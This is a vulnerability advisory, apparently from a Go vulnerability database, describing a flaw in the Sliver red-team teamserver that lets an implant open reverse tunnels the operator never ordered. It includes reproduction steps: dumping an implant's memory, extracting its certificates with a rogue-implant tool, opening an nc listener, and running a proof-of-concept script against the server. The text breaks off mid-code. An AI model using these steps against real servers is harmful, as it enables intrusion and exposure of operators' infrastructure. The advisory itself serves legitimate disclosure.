Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so. The only impact that has been shown is the exposure of the server's IP address to a third party. This issue has been addressed in version 1.5.43 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected: Go: github.com/bishopfox/sliver

### Summary The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

### Reproduction steps Run server ``` wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux chmod +x sliver-server_linux ./sliver-server_linux ```

Generate binary ``` generate --mtls 127.0.0.1:8443 ```

Run it on windows, then `Task manager -> find process -> Create memory dump file`

Install RogueSliver and get the certs ``` git clone https://github.com/ACE-Responder/RogueSliver.git pip3 install -r requirements.txt --break-system-packages python3 ExtractCerts.py implant.dmp ```

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc ``` nc -nvlp 1111 ```

Run the poc (pasted at bottom of this file) ``` python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT> python3 poc.py 192.168.1.33 8443 44.221.186.72 1111 ```

### Details We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed ```go func handleSliverConnection(conn net.Conn) { mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr()) implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

defer func() { mtlsLog.Debugf("mtls connection closing") conn.Close() implantConn.Cleanup() }()

done := make(chan bool) go func() { def…

govulncheck-vulndb-0.0.20250312T181707-1.1 on GA media